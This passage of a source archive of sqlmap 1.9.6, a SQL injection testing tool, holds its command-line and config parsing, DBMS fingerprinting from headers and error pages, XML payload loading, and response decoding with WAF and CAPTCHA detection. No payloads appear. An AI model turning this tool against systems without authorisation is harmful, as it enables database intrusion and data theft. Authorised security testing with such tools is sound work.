('%s')\n" % argv[i]) raise SystemExit for verbosity in (_ for _ in argv if re.search(r"\A\-v+\Z", _)): try: if argv.index(verbosity) == len(argv) - 1 or not argv[argv.index(verbosity) + 1].isdigit(): conf.verbose = verbosity.count('v') del argv[argv.index(verbosity)] except (IndexError, ValueError): pass try: (args, _) = parser.parse_known_args(argv) if hasattr(parser, "parse_known_args") else parser.parse_args(argv) except UnicodeEncodeError as ex: dataToStdout("\n[!] %s\n" % getUnicode(ex.object.encode("unicode-escape"))) raise SystemExit except SystemExit: if "-h" in argv and not advancedHelp: dataToStdout("\n[!] to see full list of options run with '-hh'\n") raise if extraHeaders: if not args.headers: args.headers = "" delimiter = "\\n" if "\\n" in args.headers else "\n" args.headers += delimiter + delimiter.join(extraHeaders) # Expand given mnemonic options (e.g. -z "ign,flu,bat") for i in xrange(len(argv) - 1): if argv[i] == "-z": expandMnemonics(argv[i + 1], parser, args) if args.dummy: args.url = args.url or DUMMY_URL if hasattr(sys.stdin, "fileno") and not any((os.isatty(sys.stdin.fileno()), args.api, args.ignoreStdin, "GITHUB_ACTIONS" in os.environ)): args.stdinPipe = iter(sys.stdin.readline, None) else: args.stdinPipe = None if not any((args.direct, args.url, args.logFile, args.bulkFile, args.googleDork, args.configFile, args.requestFile, args.updateAll, args.smokeTest, args.vulnTest, args.wizard, args.dependencies, args.purge, args.listTampers, args.hashFile, args.stdinPipe)): errMsg = "missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, --wizard, --shell, --update, --purge, --list-tampers or --dependencies). " errMsg += "Use -h for basic and -hh for advanced help\n" parser.error(errMsg) return args except (ArgumentError, TypeError) as ex: parser.error(ex) except SystemExit: # Protection against Windows dummy double clicking if IS_WIN and "--non-interactive" not in sys.argv: dataToStdout("\nPress Enter to continue...") _input() raise debugMsg = "parsing command line" logger.debug(debugMsg) sqlmap-1.9.6/lib/parse/configfile.py000066400000000000000000000070131502261744200173670ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.common import checkFile from lib.core.common import getSafeExString from lib.core.common import openFile from lib.core.common import unArrayizeValue from lib.core.common import UnicodeRawConfigParser from lib.core.convert import getUnicode from lib.core.data import cmdLineOptions from lib.core.data import conf from lib.core.data import logger from lib.core.enums import OPTION_TYPE from lib.core.exception import SqlmapMissingMandatoryOptionException from lib.core.exception import SqlmapSyntaxException from lib.core.optiondict import optDict config = None def configFileProxy(section, option, datatype): """ Parse configuration file and save settings into the configuration advanced dictionary. """ if config.has_option(section, option): try: if datatype == OPTION_TYPE.BOOLEAN: value = config.getboolean(section, option) if config.get(section, option) else False elif datatype == OPTION_TYPE.INTEGER: value = config.getint(section, option) if config.get(section, option) else 0 elif datatype == OPTION_TYPE.FLOAT: value = config.getfloat(section, option) if config.get(section, option) else 0.0 else: value = config.get(section, option) except ValueError as ex: errMsg = "error occurred while processing the option " errMsg += "'%s' in provided configuration file ('%s')" % (option, getUnicode(ex)) raise SqlmapSyntaxException(errMsg) if value: conf[option] = value else: conf[option] = None else: debugMsg = "missing requested option '%s' (section " % option debugMsg += "'%s') into the configuration file, " % section debugMsg += "ignoring. Skipping to next." logger.debug(debugMsg) def configFileParser(configFile): """ Parse configuration file and save settings into the configuration advanced dictionary. """ global config debugMsg = "parsing configuration file" logger.debug(debugMsg) checkFile(configFile) configFP = openFile(configFile, "rb") try: config = UnicodeRawConfigParser() if hasattr(config, "read_file"): config.read_file(configFP) else: config.readfp(configFP) except Exception as ex: errMsg = "you have provided an invalid and/or unreadable configuration file ('%s')" % getSafeExString(ex) raise SqlmapSyntaxException(errMsg) if not config.has_section("Target"): errMsg = "missing a mandatory section 'Target' in the configuration file" raise SqlmapMissingMandatoryOptionException(errMsg) mandatory = False for option in ("direct", "url", "logFile", "bulkFile", "googleDork", "requestFile", "wizard"): if config.has_option("Target", option) and config.get("Target", option) or cmdLineOptions.get(option): mandatory = True break if not mandatory: errMsg = "missing a mandatory option in the configuration file " errMsg += "(direct, url, logFile, bulkFile, googleDork, requestFile or wizard)" raise SqlmapMissingMandatoryOptionException(errMsg) for family, optionData in optDict.items(): for option, datatype in optionData.items(): datatype = unArrayizeValue(datatype) configFileProxy(family, option, datatype) sqlmap-1.9.6/lib/parse/handler.py000066400000000000000000000052161502261744200167020ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import re from xml.sax.handler import ContentHandler from lib.core.common import sanitizeStr class FingerprintHandler(ContentHandler): """ This class defines methods to parse and extract information from the given DBMS banner based upon the data in XML file """ def __init__(self, banner, info): ContentHandler.__init__(self) self._banner = sanitizeStr(banner or "") self._regexp = None self._match = None self._dbmsVersion = None self._techVersion = None self._info = info def _feedInfo(self, key, value): value = sanitizeStr(value) if value in (None, "None", ""): return if key == "dbmsVersion": self._info[key] = value else: if key not in self._info: self._info[key] = set() for _ in value.split("|"): self._info[key].add(_) def startElement(self, name, attrs): if name == "regexp": self._regexp = sanitizeStr(attrs.get("value")) _ = re.match(r"\A[A-Za-z0-9]+", self._regexp) # minor trick avoiding compiling of large amount of regexes if _ and self._banner and _.group(0).lower() in self._banner.lower() or not _: self._match = re.search(self._regexp, self._banner, re.I | re.M) else: self._match = None if name == "info" and self._match: self._feedInfo("type", attrs.get("type")) self._feedInfo("distrib", attrs.get("distrib")) self._feedInfo("release", attrs.get("release")) self._feedInfo("codename", attrs.get("codename")) self._dbmsVersion = sanitizeStr(attrs.get("dbms_version")) self._techVersion = sanitizeStr(attrs.get("tech_version")) self._sp = sanitizeStr(attrs.get("sp")) if self._dbmsVersion and self._dbmsVersion.isdigit(): self._feedInfo("dbmsVersion", self._match.group(int(self._dbmsVersion))) if self._techVersion and self._techVersion.isdigit(): self._feedInfo("technology", "%s %s" % (attrs.get("technology"), self._match.group(int(self._techVersion)))) else: self._feedInfo("technology", attrs.get("technology")) if self._sp.isdigit(): self._feedInfo("sp", "Service Pack %s" % int(self._sp)) self._regexp = None self._match = None self._dbmsVersion = None self._techVersion = None sqlmap-1.9.6/lib/parse/headers.py000066400000000000000000000026631502261744200167030ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import os from lib.core.common import parseXmlFile from lib.core.data import kb from lib.core.data import paths from lib.parse.handler import FingerprintHandler def headersParser(headers): """ This function calls a class that parses the input HTTP headers to fingerprint the back-end database management system operating system and the web application technology """ if not kb.headerPaths: kb.headerPaths = { "microsoftsharepointteamservices": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "sharepoint.xml"), "server": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "server.xml"), "servlet-engine": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "servlet-engine.xml"), "set-cookie": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "set-cookie.xml"), "x-aspnet-version": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "x-aspnet-version.xml"), "x-powered-by": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "x-powered-by.xml"), } for header in (_.lower() for _ in headers if _.lower() in kb.headerPaths): value = headers[header] xmlfile = kb.headerPaths[header] handler = FingerprintHandler(value, kb.headersFp) parseXmlFile(xmlfile, handler) parseXmlFile(paths.GENERIC_XML, handler) sqlmap-1.9.6/lib/parse/html.py000066400000000000000000000057151502261744200162350ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import re from xml.sax.handler import ContentHandler from lib.core.common import urldecode from lib.core.common import parseXmlFile from lib.core.data import kb from lib.core.data import paths from lib.core.settings import HEURISTIC_PAGE_SIZE_THRESHOLD from lib.core.threads import getCurrentThreadData class HTMLHandler(ContentHandler): """ This class defines methods to parse the input HTML page to fingerprint the back-end database management system """ def __init__(self, page): ContentHandler.__init__(self) self._dbms = None self._page = (page or "") try: self._lower_page = self._page.lower() except SystemError: # https://bugs.python.org/issue18183 self._lower_page = None self._urldecoded_page = urldecode(self._page) self.dbms = None def _markAsErrorPage(self): threadData = getCurrentThreadData() threadData.lastErrorPage = (threadData.lastRequestUID, self._page) def startElement(self, name, attrs): if self.dbms: return if name == "dbms": self._dbms = attrs.get("value") elif name == "error": regexp = attrs.get("regexp") if regexp not in kb.cache.regex: keywords = re.findall(r"\w+", re.sub(r"\\.", " ", regexp)) keywords = sorted(keywords, key=len) kb.cache.regex[regexp] = keywords[-1].lower() if ('|' in regexp or kb.cache.regex[regexp] in (self._lower_page or kb.cache.regex[regexp])) and re.search(regexp, self._urldecoded_page, re.I): self.dbms = self._dbms self._markAsErrorPage() kb.forkNote = kb.forkNote or attrs.get("fork") def htmlParser(page): """ This function calls a class that parses the input HTML page to fingerprint the back-end database management system >>> from lib.core.enums import DBMS >>> htmlParser("Warning: mysql_fetch_array() expects parameter 1 to be resource") == DBMS.MYSQL True >>> threadData = getCurrentThreadData() >>> threadData.lastErrorPage = None """ page = page[:HEURISTIC_PAGE_SIZE_THRESHOLD] xmlfile = paths.ERRORS_XML handler = HTMLHandler(page) key = hash(page) # generic SQL warning/error messages if re.search(r"SQL (warning|error|syntax)", page, re.I): handler._markAsErrorPage() if key in kb.cache.parsedDbms: retVal = kb.cache.parsedDbms[key] if retVal: handler._markAsErrorPage() return retVal parseXmlFile(xmlfile, handler) if handler.dbms and handler.dbms not in kb.htmlFp: kb.lastParserStatus = handler.dbms kb.htmlFp.append(handler.dbms) else: kb.lastParserStatus = None kb.cache.parsedDbms[key] = handler.dbms return handler.dbms sqlmap-1.9.6/lib/parse/payloads.py000066400000000000000000000067711502261744200171100ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import os import re from xml.etree import ElementTree as et from lib.core.common import getSafeExString from lib.core.compat import xrange from lib.core.data import conf from lib.core.data import paths from lib.core.datatype import AttribDict from lib.core.exception import SqlmapInstallationException from lib.core.settings import PAYLOAD_XML_FILES def cleanupVals(text, tag): if tag == "clause" and '-' in text: text = re.sub(r"(\d+)-(\d+)", lambda match: ','.join(str(_) for _ in xrange(int(match.group(1)), int(match.group(2)) + 1)), text) if tag in ("clause", "where"): text = text.split(',') if hasattr(text, "isdigit") and text.isdigit(): text = int(text) elif isinstance(text, list): count = 0 for _ in text: text[count] = int(_) if _.isdigit() else _ count += 1 if len(text) == 1 and tag not in ("clause", "where"): text = text[0] return text def parseXmlNode(node): for element in node.findall("boundary"): boundary = AttribDict() for child in element: if child.text: values = cleanupVals(child.text, child.tag) boundary[child.tag] = values else: boundary[child.tag] = None conf.boundaries.append(boundary) for element in node.findall("test"): test = AttribDict() for child in element: if child.text and child.text.strip(): values = cleanupVals(child.text, child.tag) test[child.tag] = values else: if len(child.findall("*")) == 0: test[child.tag] = None continue else: test[child.tag] = AttribDict() for gchild in child: if gchild.tag in test[child.tag]: prevtext = test[child.tag][gchild.tag] test[child.tag][gchild.tag] = [prevtext, gchild.text] else: test[child.tag][gchild.tag] = gchild.text conf.tests.append(test) def loadBoundaries(): """ Loads boundaries from XML >>> conf.boundaries = [] >>> loadBoundaries() >>> len(conf.boundaries) > 0 True """ try: doc = et.parse(paths.BOUNDARIES_XML) except Exception as ex: errMsg = "something appears to be wrong with " errMsg += "the file '%s' ('%s'). Please make " % (paths.BOUNDARIES_XML, getSafeExString(ex)) errMsg += "sure that you haven't made any changes to it" raise SqlmapInstallationException(errMsg) root = doc.getroot() parseXmlNode(root) def loadPayloads(): """ Loads payloads/tests from XML >>> conf.tests = [] >>> loadPayloads() >>> len(conf.tests) > 0 True """ for payloadFile in PAYLOAD_XML_FILES: payloadFilePath = os.path.join(paths.SQLMAP_XML_PAYLOADS_PATH, payloadFile) try: doc = et.parse(payloadFilePath) except Exception as ex: errMsg = "something appears to be wrong with " errMsg += "the file '%s' ('%s'). Please make " % (payloadFilePath, getSafeExString(ex)) errMsg += "sure that you haven't made any changes to it" raise SqlmapInstallationException(errMsg) root = doc.getroot() parseXmlNode(root) sqlmap-1.9.6/lib/parse/sitemap.py000066400000000000000000000034141502261744200167250ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import re from lib.core.common import readInput from lib.core.data import kb from lib.core.data import logger from lib.core.datatype import OrderedSet from lib.core.exception import SqlmapSyntaxException from lib.request.connect import Connect as Request from thirdparty.six.moves import http_client as _http_client abortedFlag = None def parseSitemap(url, retVal=None): global abortedFlag if retVal is not None: logger.debug("parsing sitemap '%s'" % url) try: if retVal is None: abortedFlag = False retVal = OrderedSet() try: content = Request.getPage(url=url, raise404=True)[0] if not abortedFlag else "" except _http_client.InvalidURL: errMsg = "invalid URL given for sitemap ('%s')" % url raise SqlmapSyntaxException(errMsg) for match in re.finditer(r"\s*([^<]+)", content or ""): if abortedFlag: break url = match.group(1).strip() if url.endswith(".xml") and "sitemap" in url.lower(): if kb.followSitemapRecursion is None: message = "sitemap recursion detected. Do you want to follow? [y/N] " kb.followSitemapRecursion = readInput(message, default='N', boolean=True) if kb.followSitemapRecursion: parseSitemap(url, retVal) else: retVal.add(url) except KeyboardInterrupt: abortedFlag = True warnMsg = "user aborted during sitemap parsing. sqlmap " warnMsg += "will use partial list" logger.warning(warnMsg) return retVal sqlmap-1.9.6/lib/request/000077500000000000000000000000001502261744200152655ustar00rootroot00000000000000sqlmap-1.9.6/lib/request/__init__.py000066400000000000000000000002221502261744200173720ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ pass sqlmap-1.9.6/lib/request/basic.py000066400000000000000000000451061502261744200167260ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import codecs import gzip import io import logging import re import struct import zlib from lib.core.common import Backend from lib.core.common import extractErrorMessage from lib.core.common import extractRegexResult from lib.core.common import filterNone from lib.core.common import getPublicTypeMembers from lib.core.common import getSafeExString from lib.core.common import isListLike from lib.core.common import randomStr from lib.core.common import readInput from lib.core.common import resetCookieJar from lib.core.common import singleTimeLogMessage from lib.core.common import singleTimeWarnMessage from lib.core.common import unArrayizeValue from lib.core.convert import decodeHex from lib.core.convert import getBytes from lib.core.convert import getText from lib.core.convert import getUnicode from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.decorators import cachedmethod from lib.core.decorators import lockedmethod from lib.core.dicts import HTML_ENTITIES from lib.core.enums import DBMS from lib.core.enums import HTTP_HEADER from lib.core.enums import PLACE from lib.core.exception import SqlmapCompressionException from lib.core.settings import BLOCKED_IP_REGEX from lib.core.settings import DEFAULT_COOKIE_DELIMITER from lib.core.settings import EVENTVALIDATION_REGEX from lib.core.settings import HEURISTIC_PAGE_SIZE_THRESHOLD from lib.core.settings import IDENTYWAF_PARSE_LIMIT from lib.core.settings import MAX_CONNECTION_TOTAL_SIZE from lib.core.settings import META_CHARSET_REGEX from lib.core.settings import PARSE_HEADERS_LIMIT from lib.core.settings import PRINTABLE_BYTES from lib.core.settings import SELECT_FROM_TABLE_REGEX from lib.core.settings import UNICODE_ENCODING from lib.core.settings import VIEWSTATE_REGEX from lib.parse.headers import headersParser from lib.parse.html import htmlParser from thirdparty import six from thirdparty.chardet import detect from thirdparty.identywaf import identYwaf from thirdparty.odict import OrderedDict from thirdparty.six import unichr as _unichr from thirdparty.six.moves import http_client as _http_client @lockedmethod def forgeHeaders(items=None, base=None): """ Prepare HTTP Cookie, HTTP User-Agent and HTTP Referer headers to use when performing the HTTP requests """ items = items or {} for _ in list(items.keys()): if items[_] is None: del items[_] headers = OrderedDict(conf.httpHeaders if base is None else base) headers.update(items.items()) class _str(str): def capitalize(self): return _str(self) def title(self): return _str(self) _ = headers headers = OrderedDict() for key, value in _.items(): success = False for _ in headers: if _.upper() == key.upper(): del headers[_] break if key.upper() not in (_.upper() for _ in getPublicTypeMembers(HTTP_HEADER, True)): try: headers[_str(key)] = value # dirty hack for http://bugs.python.org/issue12455 except UnicodeEncodeError: # don't do the hack on non-ASCII header names (they have to be properly encoded later on) pass else: success = True if not success: key = '-'.join(_.capitalize() for _ in key.split('-')) headers[key] = value if conf.cj: if HTTP_HEADER.COOKIE in headers: for cookie in conf.cj: if cookie is None or cookie.domain_specified and not (conf.hostname or "").endswith(cookie.domain): continue if ("%s=" % getUnicode(cookie.name)) in getUnicode(headers[HTTP_HEADER.COOKIE]): if conf.loadCookies: conf.httpHeaders = filterNone((item if item[0] != HTTP_HEADER.COOKIE else None) for item in conf.httpHeaders) elif kb.mergeCookies is None: message = "you provided a HTTP %s header value, while " % HTTP_HEADER.COOKIE message += "target URL provides its own cookies within " message += "HTTP %s header which intersect with yours. " % HTTP_HEADER.SET_COOKIE message += "Do you want to merge them in further requests? [Y/n] " kb.mergeCookies = readInput(message, default='Y', boolean=True) if kb.mergeCookies and kb.injection.place != PLACE.COOKIE: def _(value): return re.sub(r"(?i)\b%s=[^%s]+" % (re.escape(getUnicode(cookie.name)), conf.cookieDel or DEFAULT_COOKIE_DELIMITER), ("%s=%s" % (getUnicode(cookie.name), getUnicode(cookie.value))).replace('\\', r'\\'), value) headers[HTTP_HEADER.COOKIE] = _(headers[HTTP_HEADER.COOKIE]) if PLACE.COOKIE in conf.parameters: conf.parameters[PLACE.COOKIE] = _(conf.parameters[PLACE.COOKIE]) conf.httpHeaders = [(item[0], item[1] if item[0] != HTTP_HEADER.COOKIE else _(item[1])) for item in conf.httpHeaders] elif not kb.testMode: headers[HTTP_HEADER.COOKIE] += "%s %s=%s" % (conf.cookieDel or DEFAULT_COOKIE_DELIMITER, getUnicode(cookie.name), getUnicode(cookie.value)) if kb.testMode and not any((conf.csrfToken, conf.safeUrl)): resetCookieJar(conf.cj) return headers def parseResponse(page, headers, status=None): """ @param page: the page to parse to feed the knowledge base htmlFp (back-end DBMS fingerprint based upon DBMS error messages return through the web application) list and absFilePaths (absolute file paths) set. """ if headers: headersParser(headers) if page: htmlParser(page if not status else "%s\n\n%s" % (status, page)) @cachedmethod def checkCharEncoding(encoding, warn=True): """ Checks encoding name, repairs common misspellings and adjusts to proper namings used in codecs module >>> checkCharEncoding('iso-8858', False) 'iso8859-1' >>> checkCharEncoding('en_us', False) 'utf8' """ if isinstance(encoding, six.binary_type): encoding = getUnicode(encoding) if isListLike(encoding): encoding = unArrayizeValue(encoding) if encoding: encoding = encoding.lower() else: return encoding # Reference: http://www.destructor.de/charsets/index.htm translate = {"windows-874": "iso-8859-11", "utf-8859-1": "utf8", "en_us": "utf8", "macintosh": "iso-8859-1", "euc_tw": "big5_tw", "th": "tis-620", "unicode": "utf8", "utc8": "utf8", "ebcdic": "ebcdic-cp-be", "iso-8859": "iso8859-1", "iso-8859-0": "iso8859-1", "ansi": "ascii", "gbk2312": "gbk", "windows-31j": "cp932", "en": "us"} for delimiter in (';', ',', '('): if delimiter in encoding: encoding = encoding[:encoding.find(delimiter)].strip() encoding = encoding.replace(""", "") # popular typos/errors if "8858" in encoding: encoding = encoding.replace("8858", "8859") # iso-8858 -> iso-8859 elif "8559" in encoding: encoding = encoding.replace("8559", "8859") # iso-8559 -> iso-8859 elif "8895" in encoding: encoding = encoding.replace("8895", "8859") # iso-8895 -> iso-8859 elif "5889" in encoding: encoding = encoding.replace("5889", "8859") # iso-5889 -> iso-8859 elif "5589" in encoding: encoding = encoding.replace("5589", "8859") # iso-5589 -> iso-8859 elif "2313" in encoding: encoding = encoding.replace("2313", "2312") # gb2313 -> gb2312 elif encoding.startswith("x-"): encoding = encoding[len("x-"):] # x-euc-kr -> euc-kr / x-mac-turkish -> mac-turkish elif "windows-cp" in encoding: encoding = encoding.replace("windows-cp", "windows") # windows-cp-1254 -> windows-1254 # name adjustment for compatibility if encoding.startswith("8859"): encoding = "iso-%s" % encoding elif encoding.startswith("cp-"): encoding = "cp%s" % encoding[3:] elif encoding.startswith("euc-"): encoding = "euc_%s" % encoding[4:] elif encoding.startswith("windows") and not encoding.startswith("windows-"): encoding = "windows-%s" % encoding[7:] elif encoding.find("iso-88") > 0: encoding = encoding[encoding.find("iso-88"):] elif encoding.startswith("is0-"): encoding = "iso%s" % encoding[4:] elif encoding.find("ascii") > 0: encoding = "ascii" elif encoding.find("utf8") > 0: encoding = "utf8" elif encoding.find("utf-8") > 0: encoding = "utf-8" # Reference: http://philip.html5.org/data/charsets-2.html if encoding in translate: encoding = translate[encoding] elif encoding in ("null", "{charset}", "charset", "*") or not re.search(r"\w", encoding): return None # Reference: http://www.iana.org/assignments/character-sets # Reference: http://docs.python.org/library/codecs.html try: codecs.lookup(encoding) except: encoding = None if encoding: try: six.text_type(getBytes(randomStr()), encoding) except: if warn: warnMsg = "invalid web page charset '%s'" % encoding singleTimeLogMessage(warnMsg, logging.WARN, encoding) encoding = None return encoding def getHeuristicCharEncoding(page): """ Returns page encoding charset detected by usage of heuristics Reference: https://chardet.readthedocs.io/en/latest/usage.html >>> getHeuristicCharEncoding(b"") 'ascii' """ key = hash(page) retVal = kb.cache.encoding[key] if key in kb.cache.encoding else detect(page[:HEURISTIC_PAGE_SIZE_THRESHOLD])["encoding"] kb.cache.encoding[key] = retVal if retVal and retVal.lower().replace('-', "") == UNICODE_ENCODING.lower().replace('-', ""): infoMsg = "heuristics detected web page charset '%s'" % retVal singleTimeLogMessage(infoMsg, logging.INFO, retVal) return retVal def decodePage(page, contentEncoding, contentType, percentDecode=True): """ Decode compressed/charset HTTP response >>> getText(decodePage(b"foo&bar", None, "text/html; charset=utf-8")) 'foo&bar' >>> getText(decodePage(b" ", None, "text/html; charset=utf-8")) '\\t' """ if not page or (conf.nullConnection and len(page) < 2): return getUnicode(page) contentEncoding = contentEncoding.lower() if hasattr(contentEncoding, "lower") else "" contentType = contentType.lower() if hasattr(contentType, "lower") else "" if contentEncoding in ("gzip", "x-gzip", "deflate"): if not kb.pageCompress: return None try: if contentEncoding == "deflate": data = io.BytesIO(zlib.decompress(page, -15)) # Reference: http://stackoverflow.com/questions/1089662/python-inflate-and-deflate-implementations else: data = gzip.GzipFile("", "rb", 9, io.BytesIO(page)) size = struct.unpack(" MAX_CONNECTION_TOTAL_SIZE: raise Exception("size too large") page = data.read() except Exception as ex: if b" 255 else _.group(0), page) else: page = getUnicode(page, kb.pageEncoding) return page def processResponse(page, responseHeaders, code=None, status=None): kb.processResponseCounter += 1 page = page or "" parseResponse(page, responseHeaders if kb.processResponseCounter < PARSE_HEADERS_LIMIT else None, status) if not kb.tableFrom and Backend.getIdentifiedDbms() in (DBMS.ACCESS,): kb.tableFrom = extractRegexResult(SELECT_FROM_TABLE_REGEX, page) else: kb.tableFrom = None if conf.parseErrors: msg = extractErrorMessage(page) if msg: logger.warning("parsed DBMS error message: '%s'" % msg.rstrip('.')) if not conf.skipWaf and kb.processResponseCounter < IDENTYWAF_PARSE_LIMIT: rawResponse = "%s %s %s\n%s\n%s" % (_http_client.HTTPConnection._http_vsn_str, code or "", status or "", "".join(getUnicode(responseHeaders.headers if responseHeaders else [])), page[:HEURISTIC_PAGE_SIZE_THRESHOLD]) with kb.locks.identYwaf: identYwaf.non_blind.clear() try: if identYwaf.non_blind_check(rawResponse, silent=True): for waf in set(identYwaf.non_blind): if waf not in kb.identifiedWafs: kb.identifiedWafs.add(waf) errMsg = "WAF/IPS identified as '%s'" % identYwaf.format_name(waf) singleTimeLogMessage(errMsg, logging.CRITICAL) except SystemError as ex: singleTimeWarnMessage("internal error occurred in WAF/IPS detection ('%s')" % getSafeExString(ex)) if kb.originalPage is None: for regex in (EVENTVALIDATION_REGEX, VIEWSTATE_REGEX): match = re.search(regex, page) if match and PLACE.POST in conf.parameters: name, value = match.groups() if PLACE.POST in conf.paramDict and name in conf.paramDict[PLACE.POST]: if conf.paramDict[PLACE.POST][name] in page: continue else: msg = "do you want to automatically adjust the value of '%s'? [y/N]" % name if not readInput(msg, default='N', boolean=True): continue conf.paramDict[PLACE.POST][name] = value conf.parameters[PLACE.POST] = re.sub(r"(?i)(%s=)[^&]+" % re.escape(name), r"\g<1>%s" % value.replace('\\', r'\\'), conf.parameters[PLACE.POST]) if not kb.browserVerification and re.search(r"(?i)browser.?verification", page or ""): kb.browserVerification = True warnMsg = "potential browser verification protection mechanism detected" if re.search(r"(?i)CloudFlare", page): warnMsg += " (CloudFlare)" singleTimeWarnMessage(warnMsg) if not kb.captchaDetected and re.search(r"(?i)captcha", page or ""): for match in re.finditer(r"(?si)", page): if re.search(r"(?i)captcha", match.group(0)): kb.captchaDetected = True break if re.search(r"]+\brefresh\b[^>]+\bcaptcha\b", page): kb.captchaDetected = True if kb.captchaDetected: warnMsg = "potential CAPTCHA protection mechanism detected" if re.search(r"(?i)[^<]*CloudFlare", page): warnMsg += " (CloudFlare)" singleTimeWarnMessage(warnMsg) if re.search(BLOCKED_IP_REGEX, page): warnMsg = "it appears that you have been blocked by the target server" singleTimeWarnMessage(warnMsg) ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.9.6/lib/request/basicauthhandler.py��������������������������������������������������������0000664�0000000�0000000�00000002547�15022617442�0021150�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from thirdparty.six.moves import urllib as _urllib class SmartHTTPBasicAuthHandler(_urllib.request.HTTPBasicAuthHandler): """ Reference: http://selenic.com/hg/rev/6c51a5056020 Fix for a: http://bugs.python.org/issue8797 """ def __init__(self, *args, **kwargs): _urllib.request.HTTPBasicAuthHandler.__init__(self, *args, **kwargs) self.retried_req = set() self.retried_count = 0 def reset_retry_count(self): # Python 2.6.5 will call this on 401 or 407 errors and thus loop # forever. We disable reset_retry_count completely and reset in # http_error_auth_reqed instead. pass def http_error_auth_reqed(self, auth_header, host, req, headers): # Reset the retry counter once for each request. if hash(req) not in self.retried_req: self.retried_req.add(hash(req)) self.retried_count = 0 else: if self.retried_count > 5: raise _urllib.error.HTTPError(req.get_full_url(), 401, "basic auth failed", headers, None) else: self.retried_count += 1 return _urllib.request.HTTPBasicAuthHandler.http_error_auth_reqed(self, auth_header, host, req, headers) ���������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.9.6/lib/request/chunkedhandler.py����������������������������������������������������������0000664�0000000�0000000�00000003035�15022617442�0020617�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.data import conf from lib.core.enums import HTTP_HEADER from thirdparty.six.moves import urllib as _urllib class ChunkedHandler(_urllib.request.HTTPHandler): """ Ensures that HTTPHandler is working properly in case of Chunked Transfer-Encoding """ def _http_request(self, request): host = request.get_host() if hasattr(request, "get_host") else request.host if not host: raise _urllib.error.URLError("no host given") if request.data is not None: # POST data = request.data if not request.has_header(HTTP_HEADER.CONTENT_TYPE): request.add_unredirected_header(HTTP_HEADER.CONTENT_TYPE, "application/x-www-form-urlencoded") if not request.has_header(HTTP_HEADER.CONTENT_LENGTH) and not conf.chunked: request.add_unredirected_header(HTTP_HEADER.CONTENT_LENGTH, "%d" % len(data)) sel_host = host if request.has_proxy(): sel_host = _urllib.parse.urlsplit(request.get_selector()).netloc if not request.has_header(HTTP_HEADER.HOST): request.add_unredirected_header(HTTP_HEADER.HOST, sel_host) for name, value in self.parent.addheaders: name = name.capitalize() if not request.has_header(name): request.add_unredirected_header(name, value) return request http_request = _http_request ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.9.6/lib/request/comparison.py��������������������������������������������������������������0000664�0000000�0000000�00000020712�15022617442�0020013�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from __future__ import division import re from lib.core.common import extractRegexResult from lib.core.common import getFilteredPageContent from lib.core.common import listToStrValue from lib.core.common import removeDynamicContent from lib.core.common import getLastRequestHTTPError from lib.core.common import wasLastResponseDBMSError from lib.core.common import wasLastResponseHTTPError from lib.core.convert import getBytes from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.exception import SqlmapNoneDataException from lib.core.exception import SqlmapSilentQuitException from lib.core.settings import DEFAULT_PAGE_ENCODING from lib.core.settings import DEV_EMAIL_ADDRESS from lib.core.settings import DIFF_TOLERANCE from lib.core.settings import HTML_TITLE_REGEX from lib.core.settings import LOWER_RATIO_BOUND from lib.core.settings import MAX_DIFFLIB_SEQUENCE_LENGTH from lib.core.settings import MAX_RATIO from lib.core.settings import MIN_RATIO from lib.core.settings import REFLECTED_VALUE_MARKER from lib.core.settings import UPPER_RATIO_BOUND from lib.core.settings import URI_HTTP_HEADER from lib.core.threads import getCurrentThreadData from thirdparty import six def comparison(page, headers, code=None, getRatioValue=False, pageLength=None): try: _ = _adjust(_comparison(page, headers, code, getRatioValue, pageLength), getRatioValue) return _ except: warnMsg = "there was a 